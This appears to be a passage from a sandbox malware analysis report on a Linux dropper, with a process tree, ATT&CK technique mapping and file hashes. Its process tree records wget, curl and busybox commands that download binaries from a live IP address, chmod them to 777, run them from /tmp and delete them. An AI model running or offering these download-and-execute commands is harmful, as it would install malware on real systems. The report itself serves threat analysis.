  rm 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:952
- /usr/bin/wget
  wget http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:955
- /bin/chmod
  chmod 777 ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  ./ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:958
- /usr/bin/wget
  wget http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  - Reads runtime system information
  PID:960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i

Path /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
Size 176B
SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
MD5 e1732e70f015e99d14dff1eeeaec9966
SHA1 c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113
SHA512 6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7
MD5 SHA1 SHA512

Submit Download

cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj

Path /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512